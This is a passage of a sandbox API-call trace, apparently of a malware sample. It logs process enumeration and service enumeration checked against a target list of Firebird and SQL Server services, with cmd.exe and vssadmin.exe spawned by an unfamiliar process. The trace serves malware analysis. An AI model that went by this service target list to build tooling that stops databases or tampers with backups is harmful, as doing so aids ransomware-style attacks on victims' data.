th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.159] lstrlenW (lpString="lsass.exe") returned 9 [0045.159] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.159] lstrlenW (lpString="lsm.exe") returned 7 [0045.159] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.160] lstrlenW (lpString="svchost.exe") returned 11 [0045.160] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.161] lstrlenW (lpString="svchost.exe") returned 11 [0045.161] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.162] lstrlenW (lpString="svchost.exe") returned 11 [0045.162] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.162] lstrlenW (lpString="svchost.exe") returned 11 [0045.162] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.163] lstrlenW (lpString="svchost.exe") returned 11 [0045.163] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.164] lstrlenW (lpString="audiodg.exe") returned 11 [0045.164] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.164] lstrlenW (lpString="svchost.exe") returned 11 [0045.165] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.165] lstrlenW (lpString="svchost.exe") returned 11 [0045.165] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.166] lstrlenW (lpString="dwm.exe") returned 7 [0045.166] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.167] lstrlenW (lpString="explorer.exe") returned 12 [0045.167] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.167] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.167] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.168] lstrlenW (lpString="taskhost.exe") returned 12 [0045.168] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.169] lstrlenW (lpString="svchost.exe") returned 11 [0045.169] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.170] lstrlenW (lpString="taskeng.exe") returned 11 [0045.170] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.170] lstrlenW (lpString="taskhost.exe") returned 12 [0045.170] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0045.171] lstrlenW (lpString="chem venues.exe") returned 15 [0045.171] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0045.172] lstrlenW (lpString="month.exe") returned 9 [0045.172] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0045.172] lstrlenW (lpString="glasgow.exe") returned 11 [0045.172] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0045.173] lstrlenW (lpString="rubber.exe") returned 10 [0045.173] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0045.255] lstrlenW (lpString="petroleum.exe") returned 13 [0045.255] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0045.256] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0045.256] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0045.256] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0045.256] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0045.257] lstrlenW (lpString="batman_oliver.exe") returned 17 [0045.257] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0045.258] lstrlenW (lpString="formation.exe") returned 13 [0045.258] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0045.258] lstrlenW (lpString="whole.exe") returned 9 [0045.258] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0045.259] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0045.259] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0045.260] lstrlenW (lpString="disorder.exe") returned 12 [0045.260] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0045.262] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0045.262] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0045.262] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0045.262] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0045.263] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0045.263] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0045.264] lstrlenW (lpString="perspective.exe") returned 15 [0045.264] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0045.264] lstrlenW (lpString="demand-site.exe") returned 15 [0045.264] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0045.265] lstrlenW (lpString="attachment.exe") returned 14 [0045.265] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0045.266] lstrlenW (lpString="valid-permit.exe") returned 16 [0045.266] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0045.266] lstrlenW (lpString="knights.exe") returned 11 [0045.267] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.267] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.267] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0045.268] lstrlenW (lpString="mobsync.exe") returned 11 [0045.268] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0045.269] lstrlenW (lpString="ohbdap.exe") returned 10 [0045.269] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0045.269] lstrlenW (lpString="cmd.exe") returned 7 [0045.269] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.270] lstrlenW (lpString="conhost.exe") returned 11 [0045.270] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0045.271] lstrlenW (lpString="vssadmin.exe") returned 12 [0045.271] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0045.271] lstrlenW (lpString="VSSVC.exe") returned 9 [0045.271] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.272] lstrlenW (lpString="svchost.exe") returned 11 [0045.272] Process32NextW (in: hSnapshot=0x188, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0045.273] CloseHandle (hObject=0x188) returned 1 [0045.273] Sleep (dwMilliseconds=0x1f4) [0045.991] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fb20 [0045.992] EnumServicesStatusExW (in: hSCManager=0x52fb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0045.992] GetLastError () returned 0xea [0045.992] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x40038c8 [0045.992] EnumServicesStatusExW (in: hSCManager=0x52fb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40038c8, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40038c8, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0045.993] CloseServiceHandle (hSCObject=0x52fb20) returned 1 [0045.993] lstrlenW (lpString="Appinfo") returned 7 [0045.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.993] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.993] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.993] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.993] lstrlenW (lpString="AudioSrv") returned 8 [0045.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.993] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.993] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.994] lstrlenW (lpString="BFE") returned 3 [0045.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.994] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.994] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.994] lstrlenW (lpString="CryptSvc") returned 8 [0045.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.994] lstrlenW (lpString="CscService") returned 10 [0045.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.994] lstrlenW (lpString="DcomLaunch") returned 10 [0045.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.994] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.994] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.994] lstrlenW (lpString="Dhcp") returned 4 [0045.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.994] lstrlenW (lpString="Dnscache") returned 8 [0045.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.995] lstrlenW (lpString="DPS") returned 3 [0045.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.995] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.995] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.995] lstrlenW (lpString="eventlog") returned 8 [0045.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.995] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.995] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.995] lstrlenW (lpString="EventSystem") returned 11 [0045.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.995] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.995] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.995] lstrlenW (lpString="gpsvc") returned 5 [0045.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.995] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.995] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.995] lstrlenW (lpString="iphlpsvc") returned 8 [0045.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.996] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.996] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.996] lstrlenW (lpString="LanmanServer") returned 12 [0045.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.996] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.996] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.996] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.996] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.996] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.996] lstrlenW (lpString="lmhosts") returned 7 [0045.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.996] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.996] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.996] lstrlenW (lpString="MMCSS") returned 5 [0045.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.996] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.996] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.996] lstrlenW (lpString="MpsSvc") returned 6 